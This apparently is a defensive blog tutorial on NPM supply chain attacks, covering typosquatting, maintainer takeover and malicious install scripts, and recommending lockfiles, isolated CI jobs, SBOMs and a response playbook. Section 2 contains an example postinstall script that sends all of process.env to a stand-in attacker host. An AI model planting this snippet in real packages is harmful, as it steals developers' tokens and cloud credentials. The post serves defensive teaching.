NPM Supply Chain Attacks: How They Happen and How to Actually Defend Your Codebase
You run:
npm install cool-logger
Tests are green, build ships to prod.
What you don’t see:
- The package’s
postinstallscript quietly running in CI. - That script reading
process.envand yourNPM_TOKEN, cloud keys, GitHub tokens. - Secrets getting exfiltrated to some random endpoint.
That’s a modern NPM supply chain attack in one paragraph.
This post is about:
- How attackers actually abuse the NPM ecosystem
- What’s realistically at risk (hint: your env vars)
- A practical, layered defense you can bolt onto your existing workflow
No fear-mongering, just a threat model and some habits.
1. What “supply chain attack” means in NPM land
A software supply chain attack is when an attacker compromises something you depend on, instead of hacking you directly.
For NPM, that “something” is usually:
- A package you install directly
- A package you pull in transitively
- The maintainer account behind those packages
- The CI/CD pipeline that publishes them
NPM is the primary JS package registry. Millions of projects automatically pull code from it, so a single malicious or compromised package can cascade into a lot of applications and build systems. ([Cymulate][1])
Recent campaigns (like Shai-Hulud and PhantomRaven) show exactly that: attackers compromise maintainer accounts, inject data-stealing malware into popular or long-tail packages, and then let the ecosystem do the distribution for them. ([wiz.io][2])
2. How NPM packages can own your environment
NPM packages aren’t just “some JS files”:
- They can run code during install (
preinstall,install,postinstall,prepare). - They can run arbitrary JS as part of your build scripts.
- They run in your runtime, with access to whatever your app sees.
Example of a suspicious package.json scripts section:
{
"scripts": {
"build": "webpack --mode=production",
"postinstall": "node scripts/install.js"
}
}
postinstall runs automatically when the package (or your app) is installed.
If scripts/install.js does something like:
const https = require('https');
function exfiltrateEnv() {
const data = JSON.stringify(process.env);
const req = https.request(
'https://evil.example.com/collect',
{ method: 'POST', headers: { 'Content-Type': 'application/json' } }
);
req.on('error', () => {});
req.write(data);
req.end();
}
exfiltrateEnv();
…that code runs on:
- Developer machines
- CI agents
- Anywhere you run
npm install/yarn install/pnpm install
Recent real-world malware campaigns in NPM have done very similar things: dumping process.env, scanning for tokens, and exfiltrating CI/CD and cloud credentials. ([Orca Security][3])
3. Common NPM supply chain attack patterns
Here are the main ways things go sideways.
3.1 Typosquatting and brandjacking
Attacker publishes packages with names like:
reactjinstead ofreactlodasinstead oflodash
Or clones the name of an internal/private package you use (“dependency confusion”).
If your tooling accidentally pulls the attacker’s package from the public registry, their code runs in your environment.
3.2 Maintainer account takeover or social engineering
Attackers:
- Phish NPM/GitHub tokens or passwords
- Abuse weak 2FA or access tokens in CI
Then:
- Push a new “patch” version of a widely used package
- That version carries a
postinstallscript or runtime backdoor
We’ve seen multiple recent incidents where popular NPM packages had malicious versions briefly published after maintainers were tricked with spoofed NPM support emails or other social-engineering attacks. ([TechRadar][4])
Shai-Hulud and related campaigns took this to the next level: compromised NPM maintainer credentials, injected post-install malware into numerous packages, and used those packages to steal more tokens, then publish even more trojanized versions (worm-like propagation). ([wiz.io][2])
3.3 Malicious install / build scripts
Malicious code hides in:
postinstallscripts- Custom
prepare/prepublishsteps - CLI utilities you only run in CI
These scripts:
- Read env vars (
process.env) - Run tools like TruffleHog to scan repos and file systems for secrets
- Send the data off to attacker-controlled endpoints
Several recent malware families did exactly this in NPM: harvest environment variables, cloud SDK credentials, and NPM/GitHub tokens from build machines. ([Orca Security][3])
3.4 Classic malicious dependency (event-stream style)
Sometimes a seemingly benign package gets compromised by adding a malicious dependency or version:
The
event-streamincident (2018) is a classic example:- A malicious
flatmap-streamdependency was added, and one version ofevent-streamshipped with it. - NPM removed the malicious versions once discovered. ([npm Blog][5])
- A malicious
Pattern still shows up: a single bad dependency version can silently ship malware into many downstream projects.
4. Threat model: what’s actually at risk?
Let’s keep the threat model very practical.
Assets
The main loot in a Node/NPM world:
Tokens and secrets in CI/CD:
NPM_TOKEN,NODE_AUTH_TOKEN- GitHub / GitLab tokens
- Cloud provider credentials
Credentials on developer machines:
- SSH keys
- Personal access tokens
Prod data & user data:
- Anything the runtime can reach
Modern NPM malware is increasingly tuned to steal these, not just run crypto miners. ([Recorded Future][6])
Attack surfaces
Where malicious NPM code can execute:
npm install/yarn install/pnpm install- On dev laptops
- In CI
Build tools:
- Webpack, Rollup, Vite, TypeScript, test runners
Runtime:
- Code you
require/importin your app and lambdas
- Code you
Your real goal is not “make NPM safe forever.”
Your goal is:
Make it hard for any random NPM package to silently exfiltrate secrets or run arbitrary code in a privileged environment.
5. A 4-layer defense for NPM supply chain risk
Instead of 30 random tools, we’ll use 4 layers:
- Dependency hygiene
- Lockfiles & updates
- Hardening install/build environments
- Monitoring & response
You can adopt these incrementally.
6. Layer 1 – Dependency hygiene: what you choose to install
Every new dependency is a new path attackers can ride in on.
6.1 Before you npm install
Ask a few simple questions:
Do we really need a package for this?
- If it’s a tiny helper you can write in 10 lines, consider inlining it.
Is this a known project or pure rando?
Check:
- Recent commits/releases
- Issue activity
- Docs/readme quality
Does it ship install scripts?
- Check the
scriptssection of itspackage.json(in the repo or vianpm view <pkg> scripts). - Be extra cautious if you see
postinstall,prepare, or other scripts that don’t obviously relate to its purpose.
- Check the
A bare-bones “before you add a dependency” checklist for your team:
Before Adding a New NPM Dependency
- I checked the GitHub repo (or homepage) — it looks like a real project.
- It has some maintenance activity in the last 6–12 months.
- I glanced at
package.jsonscripts — no weirdpostinstallstuff. - We don’t already have another library doing the same thing.
- If this is security-sensitive code (auth, crypto), we prefer battle-tested libs.
6.2 Set some lightweight policy
For example:
New dependency with low download counts or brand new maintainer?
- Needs a 60-second sanity check by another dev.
Packages with
installscripts:- Require a short comment in the PR explaining why they’re safe/needed.
Small friction up front saves a lot of pain later.
7. Layer 2 – Lockfiles, pinning, and updates
Most damage in supply chain attacks happens when:
- A malicious version slips into your dependency graph, and
- It auto-deploys everywhere before anyone notices
7.1 Commit and use your lockfiles
Best practices:
Commit
package-lock.json/yarn.lock/pnpm-lock.yaml.In CI, prefer deterministic installs:
npm ciinstead ofnpm installwhere possible.
Don’t delete lockfiles casually; treat changes as events.
This gives you:
- Reproducible installs
- An exact record of which versions got deployed
7.2 Be deliberate about version ranges
For critical dependencies (auth, security libraries, core frameworks), consider:
- Using exact versions instead of wide
^ranges. - Or using ranges but updating on a schedule, not opportunistically.
7.3 Have an update ritual, not random upgrades
Pick a cadence (weekly or biweekly):
Run the “outdated dependencies” command (
npm outdated/yarn upgrade-interactive/ equivalent).Update a small batch of packages.
Run:
- Tests
- Whatever security tooling you have (SCA, etc.)
Require review like any other change.
This way:
- A compromised version has a narrower time window to hit you.
- You know exactly which PR introduced which version.
8. Layer 3 – Treat npm install like untrusted code execution
Assume:
Any NPM install or build step can execute arbitrary JS you didn’t write.
So you limit what that environment can see and do.
8.1 In CI/CD: isolate and minimize secrets
Core moves:
Run builds in ephemeral containers, not long-lived agents.
Split jobs:
Build job:
- Has no long-lived tokens (no production cloud keys, etc.).
- Only needs read-only repo access.
Deploy job:
- Has scoped, short-lived deploy credentials.
- Does not run
npm installagain.
Example (simplified GitHub Actions):
jobs:
build:
runs-on: ubuntu-latest
env:
# no production secrets here
NODE_ENV: development
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm test
- run: npm run build
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
deploy:
needs: build
runs-on: ubuntu-latest
permissions:
contents: read
deployments: write
env:
# scoped deployment secrets here
DEPLOY_API_TOKEN: ${{ secrets.DEPLOY_API_TOKEN }}
steps:
- uses: actions/download-artifact@v4
with:
name: build-output
path: dist/
- run: ./scripts/deploy.sh dist/
Key ideas:
npm cionly happens inbuild, where secrets are minimal.- The job with deploy secrets never runs arbitrary
npm installfrom the internet.
8.2 On developer machines
You can’t control everything devs do, but you can encourage:
- Using
nvm/voltaor similar for isolated Node versions. - Avoiding global installs as root/admin where not required.
- Reviewing
scriptsin your own app’spackage.jsonso you know what runs onnpm test/npm run build.
8.3 Audit your own scripts
Sometimes the supply chain risk is your own scripts doing too much.
Glance at your package.json:
Do you have scripts that:
curlarbitrary URLs?- Run shell commands with user-controlled input?
Do they need to run in CI, or can you:
- Restrict them to local dev?
- Gate them behind explicit commands?
Make “audit scripts section once in a while” part of your team’s rituals.
9. Layer 4 – Monitoring, SBOMs, and response
You can’t block everything. You also need to see and respond.
9.1 Know what you shipped (SBOM/lightweight inventory)
For each release, you should be able to answer:
“Which NPM packages and versions were present?”
Options:
Generate an SBOM (Software Bill of Materials) in CI.
At minimum, archive:
package.jsonpackage-lock.json/yarn.lock/pnpm-lock.yaml
When a compromised package is reported (like we’ve seen in Shai-Hulud-style incidents), you can quickly check if you’re affected.
9.2 Watch for weird behavior in build/CI
If you have the ability:
Alert on unusual outbound network calls from CI workers:
- Especially to domains you don’t expect.
Log:
- Which jobs run
npm install - Any anomalies in install logs
- Which jobs run
This doesn’t need to be fancy at first; even occasional log reviews can catch low-effort malware.
9.3 Have a small “malicious dependency” playbook
When (not if) a supply chain issue hits the news:
Check exposure
- Are we using that package/version?
- Which apps / services / repos include it?
Contain
- Pin or roll back to a safe version.
- Remove the dependency if possible.
Rotate secrets
Any CI/CD or NPM tokens present where the malicious code ran:
- Rotate them.
Hunt for abuse
- Review logs for suspicious activity (unexpected pushes, logins, network calls).
- Look for unexpected workflow files or branches in repos (a common persistence trick). ([wiz.io][2])
Write this down somewhere your team can find it; even a short runbook beats “panic in Slack.”
10. A lightweight NPM supply chain checklist
Here’s a checklist you can drop into your repo’s SECURITY.md or internal docs.
NPM Supply Chain Hygiene
- Lockfiles (
package-lock.json/yarn.lock/pnpm-lock.yaml) are committed. - CI uses deterministic installs (
npm ci/ equivalent). - We have basic rules for adding new dependencies (and someone actually glances at new ones).
- We avoid unnecessary micro-packages for trivial helpers.
- Critical dependencies (auth, crypto, core framework) are pinned or updated on a schedule, not at random.
- Builds run in ephemeral CI jobs with minimal secrets available.
-
npm installhappens in a build job; deploy jobs don’t blindly re-install from the internet. - At least one SCA / dependency security tool runs on PRs or nightly.
- We keep an SBOM or lockfiles per release so we can answer “were we using X@Y?” quickly.
- We have a short “what to do if a dependency is compromised” playbook.
You don’t need perfection to be meaningfully safer.
If you can honestly tick most of these boxes, you’ve already raised the bar far above “we just trust npm install and hope for the best.”
11. Mindset shift: from “NPM is scary” to “NPM is bounded”
You’re not going to fix the entire open-source ecosystem.
You can:
- Be more selective about what you pull in
- Make builds less trusted and less privileged
- Have a cadence for updating and a plan for rolling back
- Know what’s in your builds and how to respond when something goes bad
That’s what “defending against NPM supply chain attacks” looks like in practice:
Not paranoia, just a few good boundaries around the chaos.